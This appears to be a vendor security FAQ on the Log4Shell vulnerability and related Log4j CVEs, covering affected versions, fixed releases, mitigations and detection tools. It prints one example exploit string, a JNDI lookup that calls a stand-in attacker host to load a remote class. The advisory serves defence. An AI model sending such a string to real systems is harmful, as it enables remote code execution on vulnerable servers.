CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: Frequently Asked Questions About Log4Shell and Associated Vulnerabilities
A list of frequently asked questions related to Log4Shell and associated vulnerabilities.
Update December 18: Apache has released Log4j version 2.17.0 and announced CVE-2021-45105, a Denial of Service vulnerability exploitable in non-default configurations. This blog has been updated with this additional information.
Update December 20: Tenable has released Windows and Linux audits to detect whether recommended mitigations have been properly implemented on systems that cannot be patched. More information can be found below.
Update January 4: Apache has released Log4j 2.17.1, 2.12.4 and 2.3.2 to address a new vulnerability, CVE-2021-44832. For more information, please refer to this post in the Tenable Community.
Background
Following the discovery of the Apache Log4j vulnerability known as Log4Shell on December 9, The Security Response Team has put together the following blog post to answer some of the more frequently asked questions (FAQ) about Log4Shell and the newly disclosed vulnerabilities in Log4j.
FAQ
What is Log4j?
Log4j is a widely used Java logging library included in Apache Logging Services. It is used to log messages from an application or service, often for debugging purposes.
What is CVE-2021-44228?
CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2.0 through 2.14.1. It has been dubbed Log4Shell by security researchers.
How can CVE-2021-44228 be exploited?
A remote, unauthenticated attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. This could be achieved by submitting an exploit string into a text field on a website or by including the exploit string as part of HTTP headers destined for a vulnerable server. If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload from an attacker-controlled server through the Java Naming and Directory Interface (JNDI) over a variety of services, such as Lightweight Directory Access Protocol (LDAP).
An example exploit would look something like this:
${jndi:ldap://attackersite.com/exploit.class}
What happens if the vulnerability is exploited?
The vulnerable log4j library would request and execute a malicious payload from the attacker-controlled server.
Have we seen any attacks in the wild so far?
Attackers have already begun using Log4Shell in a variety of ways, including:
- Cryptocurrency mining software (cryptominers)
- Distributed denial-of-service (DDoS) botnets
- Ransomware
There are reports that both nation state groups and initial access brokers have already begun leveraging the flaw, which means we should expect advanced persistent threat (APT) groups and ransomware affiliates will likely be leveraging the flaw in the very near future.
Why is Log4Shell such a big deal?
Log4j is a widely used library across a number of products and services for logging purposes, which creates a large attack surface. Exploiting Log4Shell is simple, with readily available proof-of-concept code on GitHub. Finally, because many organizations don’t know just how prevalent this library is within the products and services they use, this could likely have long-term effects.
Was Log4Shell addressed in Log4j 2.15.0?
No, Apache released Log4j 2.16.0 to address an incomplete fix for Log4Shell. Apache assigned a new CVE for this incomplete fix: CVE-2021-45046.
What is CVE-2021-45046?
CVE-2021-45046 was originally reported as a denial of service vulnerability in Apache Log4j 2.0 through 2.15.0, and has since been upgraded to a RCE. Under specific non-default configurations where a Context Lookup (e.g.: $${ctx:loginId}) is used, an attacker that crafts a JNDI lookup using malicious input data would be able to cause a DoS condition or achieve RCE on a vulnerable server using Log4j 2.
Does the mitigation for Log4Shell apply to CVE-2021-45046?
No. According to Apache, the previous mitigation for CVE-2021-44228 — setting formatMsgNoLookups to true — is an insufficient mitigation altogether. That guidance failed to account for other code paths in which message lookups could occur. Because of this, Apache now recommends upgrading to a safe version of Log4j, starting with 2.16.0 and 2.12.2 (for Java 7). If that is not possible, Apache recommends removing the JndiLookup classpath.
What does the release of Log4j 2.16.0 actually do?
Based on the release notes, Apache has chosen to harden Log4j by removing message lookups and disabling JNDI by default.
My organization uses Java 7 and we can’t upgrade to Log4j 2.16.0. What do we do?
Apache released Log4j 2.12.2 to address CVE-2021-45046 for Java 7. If immediate patching is not possible, Apache advises removing the JndiLookup class from the classpath. Guidance on how to remove this classpath can be found in the Apache documentation.
What is CVE-2021-45105?
CVE-2021-45105 is a newly released Denial of Service (DoS) vulnerability in Apache Log4j. The vulnerability is exploitable in non-default configurations. An attacker can send a crafted request that contains a recursive lookup which can result in a DoS condition. To address the vulnerability, Apache has released Log4j version 2.17.0. In addition, Apache does offer mitigation options for those that are not able to upgrade right away. We recommend reviewing Apache’s security advisory page often as updates may continue to be made on recommended mitigations as new developments arise.
Is Log4j 1.x vulnerable?
There is still a lot of information coming out surrounding Log4Shell. At the time this blog was published, Apache said that Log4j 1.2 is vulnerable in a similar way when Log4j is configured to use JMSAppender, which is not part of the default configuration, but is not specifically vulnerable to CVE-2021-44228. This vulnerability in Log4j 1.2 has been assigned CVE-2021-4104.
Is there a patch available for Log4j 1.2?
No, Log4j branch 1.x has reached end of life (EOL) status, and therefore does not receive security updates. Users are instructed to upgrade to Log4j 2.12.2 (for Java 7) or 2.16.0 or greater.
How do I address CVE-2021-4104?
There are a few mitigation options that can be used to prevent exploitation of CVE-2021-4104.
- Do not use the JMSAppender in the Log4j configuration
- Remove the JMSAppender class file (org/apache/log4j/net/JMSAppender.class)
- Limit OS user access to prevent an attacker from being able to modify the Log4j configuration
What’s the story here with all of these vulnerabilities?
Here’s what we know as of December 18:
- Four CVEs have been assigned for vulnerabilities affecting Log4j
| CVE | Vulnerability Type | Affected Log4j Versions | Non-Default Config |
|---|---|---|---|
| CVE-2021-44228 | RCE | 2.0 through 2.14.1 | No |
| CVE-2021-45046 | Denial of Service (DoS) and RCE | 2.0 through 2.15.0 | Yes |
| CVE-2021-4104 | RCE | 1.2* | Yes |
| CVE-2021-45105 | Denial of Service (DoS) | 2.0-beta9 to 2.16.0 | Yes |
- Only CVE-2021-44228 is exploitable out-of-the-box when Log4j versions 2.0 through 2.14.1 are included as a library in applications and services
- CVE-2021-45046, CVE-2021-4104 and CVE-2021-45105 are only present in certain non-default configurations
- CVE-2021-4104 will not be patched, as the Log4j 1.x branch has reached end-of-life
What are the fixed versions of Log4j that address these vulnerabilities?
| Log4j Release | Java Version | Release Availability |
|---|---|---|
| 2.17.0 | Java 8 | Yes |
| 2.16.0 | Java 8 | Yes |
| 2.12.2 | Java 7 | Yes |
| 1.2 | - | No (EOL) |
What is the likelihood of exploitation for these vulnerabilities?
The following table summarizes exploitability and whether or not a vulnerability was already being exploited.
| CVE | Likelihood of Exploitation | Already Exploited |
|---|---|---|
| CVE-2021-44228 | High | Yes |
| CVE-2021-45046 | Low | No |
| CVE-2021-4104 | Low | No |
| CVE-2021-45105 | Low | No |
Is Tenable vulnerable to any of the vulnerabilities in Log4j?
Tenable CISO Bob Huber has issued a full statement which can be found here.
What are ways me/my organization can identify these vulnerabilities in Log4j?
Tenable has released a number of plugins, scan templates and dashboards (Tenable.io, Tenable.sc) for our products.
- For updated information on the plugins that have been released, please refer to this post on the Tenable Community.
- For updated information about scan templates that have been released, please refer to this post on the Tenable Community.
Customers who cannot immediately patch these vulnerabilities, can use the CVE-2021-44228/CVE-2021-45046 audits to detect whether Log4j workaround mitigations have been correctly applied on their systems. A more detailed description of these audits can be found here.
What is CVE-2021-44832?
CVE-2021-44832 is a new vulnerability discovered in Log4j that was recently patched by Apache. Exploitation of this flaw is less than likely due to the prerequisites required for exploitation. For more information about this vulnerability, please refer to this post on the Tenable Community.
Get more information
- Tenable’s dedicated resource page to Log4Shell
- Tenable blog on CVE-2021-44228 (Log4Shell)
- Tenable Community Log4Shell Resources and FAQ
Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable, the first Cyber Exposure platform for holistic management of your modern attack surface.
Get a free 30-day trial of Tenable.io Vulnerability Management.
Related Articles
Operational Technology in the DoD: Ensuring a Secure and Efficient Power Grid
April 19, 2024In an evolving threat landscape, the DoD must make sure that its mission-critical operations don’t experience power outages.
Strengthening the Nessus Software Supply Chain with SLSA
April 16, 2024You know Tenable as a cybersecurity industry leader whose world-class exposure management products are trusted by our approximately 43,000 customers, including about 60% of the Fortune 500. But sometimes we like to give you a peek behind the curtain to share how we protect our own house against cyberattacks – and that’s what this blog is about. Today we’re sharing our experience adopting the supply-chain security framework SLSA, with the hopes that the lessons we learned will be helpful to you.
Cybersecurity Snapshot: CISA Says Midnight Blizzard Swiped U.S. Gov’t Emails During Microsoft Hack, Tells Fed Agencies To Take Immediate Action
April 12, 2024Check out CISA’s urgent call for federal agencies to protect themselves from Midnight Blizzard’s breach of Microsoft corporate emails. Plus, a new survey shows cybersecurity pros are guardedly optimistic about AI. Meanwhile, SANS pinpoints the four trends CISOs absolutely must focus on this year. And the NSA is sharing best practices for data security. And much more!
Operational Technology in the DoD: Ensuring a Secure and Efficient Power Grid
April 19, 2024In an evolving threat landscape, the DoD must make sure that its mission-critical operations don’t experience power outages.
Cybersecurity Snapshot: Cyber Agencies Offer Secure AI Tips, while Stanford Issues In-Depth AI Trends Analysis, Including of AI Security
April 19, 2024Check out recommendations for securing AI systems from the Five Eyes cybersecurity agencies. Plus, Stanford University offers a comprehensive review of AI trends. Meanwhile, a new open-source tool aims to simplify SBOM usage. And don’t miss the latest CIS Benchmarks updates. And much more!
Tenable and Thales Collaborate to Provide Cyber Defense Simulations to Better Secure Operational Technology Environments
April 18, 2024The heart of the Welsh Valleys is home to the Thales Ebbw Vale campus, a world-class facility jointly funded by the Welsh government as part of its regeneration program for the region. At the core of the facility is the Cyber Range, a simulation and virtualization platform for training, testing, exercising and R&D. Tenable has joined the lineup of solutions used to run real world simulations in this controlled environment.
- Vulnerability Management